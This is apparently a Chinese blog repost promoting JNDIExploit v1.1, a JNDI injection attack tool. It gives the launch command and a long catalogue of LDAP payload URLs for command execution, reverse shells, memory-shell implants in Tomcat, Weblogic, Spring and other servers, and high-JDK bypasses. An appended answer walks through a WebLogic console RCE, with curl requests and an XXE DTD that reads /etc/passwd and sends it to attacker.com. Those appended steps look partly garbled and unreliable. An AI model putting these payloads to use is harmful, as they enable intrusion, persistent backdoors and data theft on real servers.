【JNDI注入利用工具】JNDIExploit v1.1

# 简介

JNDIExploit一款用于 JNDI注入 利用的工具,大量参考/引用了 Rogue JNDI 项目的代码,集成了JDNI注入格式,能够更加方便的开启服务端后直接利用,支持反弹Shell命令执行、直接植入内存shell等,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。

详细使用文档:JNDIExploit/README.md

# 相关截图

图片[1] - 【JNDI注入利用工具】JNDIExploit v1.1 - 极核GetShell

# 快速使用

##服务端

快速开启JNDIExploit服务端,默认开启LDAP服务1389端口HTTP服务3456端口,绑定<出口IP>

建议使用JDK8开启此服务,否则可能出现利用LDAP时服务端报错。

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <你的出口IP>

##客户端(注入端)

服务端输入命令java -jar JNDIExploit-1.3-SNAPSHOT.jar -u查看支持的JNDI注入格式,或者查看以下列表

Supported LADP Queries

* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.

ldap://127.0.0.1:1389/Basic/Dnslog/[domain]

ldap://127.0.0.1:1389/Basic/Command/[cmd]

ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]

ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported

ldap://127.0.0.1:1389/Basic/TomcatEcho

ldap://127.0.0.1:1389/Basic/SpringEcho

ldap://127.0.0.1:1389/Basic/WeblogicEcho

ldap://127.0.0.1:1389/Basic/TomcatMemshell1

ldap://127.0.0.1:1389/Basic/TomcatMemshell2 ---need extra header [Shell: true]

ldap://127.0.0.1:1389/Basic/JettyMemshell

ldap://127.0.0.1:1389/Basic/WeblogicMemshell1

ldap://127.0.0.1:1389/Basic/WeblogicMemshell2

ldap://127.0.0.1:1389/Basic/JBossMemshell

ldap://127.0.0.1:1389/Basic/WebsphereMemshell

ldap://127.0.0.1:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.

ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]

ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]

ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]

ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported

ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho

ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho

ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho

ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1

ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1

ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells

[+] TomcatBypass Queries

ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]

ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]

ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]

ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported

ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho

ldap://127.0.0.1:1389/TomcatBypass/SpringEcho

ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1

ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2 ---need extra header [Shell: true]

ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries

ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]

ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries

ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]

ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]

ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]

ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]

ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported

ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell

ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

  • 目前支持的所有 PayloadType 为
    • Dnslog: 用于产生一个DNS请求,与 DNSLog平台配合使用,对Linux/Windows进行了简单的适配
    • Command: 用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输
    • ReverseShell: 用于 Linux 系统的反弹shell,方便使用
    • TomcatEcho: 用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
    • SpringEcho: 用于在框架为 SpringMVC/SpringBoot 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
    • WeblogicEcho: 用于在中间件为 Weblogic 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
    • TomcatMemshell1: 用于植入Tomcat内存shell, 支持Behinder shell 与 Basic cmd shell
    • TomcatMemshell2: 用于植入Tomcat内存shell, 支持Behinder shell 与 Basic cmd shell, 使用时需要添加额外的HTTP Header Shell: true推荐使用此方式
    • SpringMemshell: 用于植入Spring内存shell, 支持Behinder shell 与 Basic cmd shell
    • WeblogicMemshell1: 用于植入Weblogic内存shell, 支持Behinder shell 与 Basic cmd shell
    • WeblogicMemshell2: 用于植入Weblogic内存shell, 支持Behinder shell 与 Basic cmd shell推荐使用此方式
    • JettyMemshell: 用于植入Jetty内存shell, 支持Behinder shell 与 Basic cmd shell
    • JBossMemshell: 用于植入JBoss内存shell, 支持Behinder shell 与 Basic cmd shell
    • WebsphereMemshell: 用于植入Websphere内存shell, 支持Behinder shell 与 Basic cmd shell
  • 目前支持的所有 GadgetType 为
    • URLDNS
    • CommonsBeanutils1
    • CommonsBeanutils2
    • CommonsCollectionsK1
    • CommonsCollectionsK2
    • C3P0
    • Jdk7u21
    • Jre8u20
    • CVE_2020_2551
    • CVE_2020_2883
  • WebsphereBypass 中的 3 个动作:
    • list:基于XXE查看目标服务器上的目录或文件内容
    • upload:基于XXEjar协议将恶意jar包上传至目标服务器的临时目录

# 下载

恭喜你发现宝藏站点哦,不妨点进去看看,绝对不会后悔的!

【JNDI注入利用工具】JNDIExploit v1.1 - 极核GetShell (get-shell.com)icon-default.png?t=N7T8https://get-shell.com/4004.html

  • 23
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。攻击者可以通过构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上,从而实现远程代码执行。具体步骤如下: 1. 构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上。例如,可以使用以下命令将一个恶意的 LDAP URL 绑定到 WebLogic JNDI 树上: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "ldap://attacker.com:1389/Exploit", "targets": [{"identity": {"type": "Server", "name": "AdminServer"}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 2. 构造恶意请求,触发 JNDI 注入漏洞。例如,可以使用以下命令触发漏洞: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "Exploit", "bindings": [{"name": "Exploit", "type": "javax.naming.Reference", "value": {"className": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryClassName": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryMethodName": "setConfigLocation", "factoryMethodArgs": ["http://attacker.com/evil.xml"]}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 3. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 XML 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 4. 构造恶意的 XML 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 XML 文件: ``` <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> ``` 5. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 DTD 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 6. 构造恶意的 DTD 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 DTD 文件: ``` <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://attacker.com/?%payload;'>"> %remote; ``` 7. 等待 WebLogic 服务器向攻击者控制的服务器发送 HTTP 请求,从而触发恶意代码的执行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值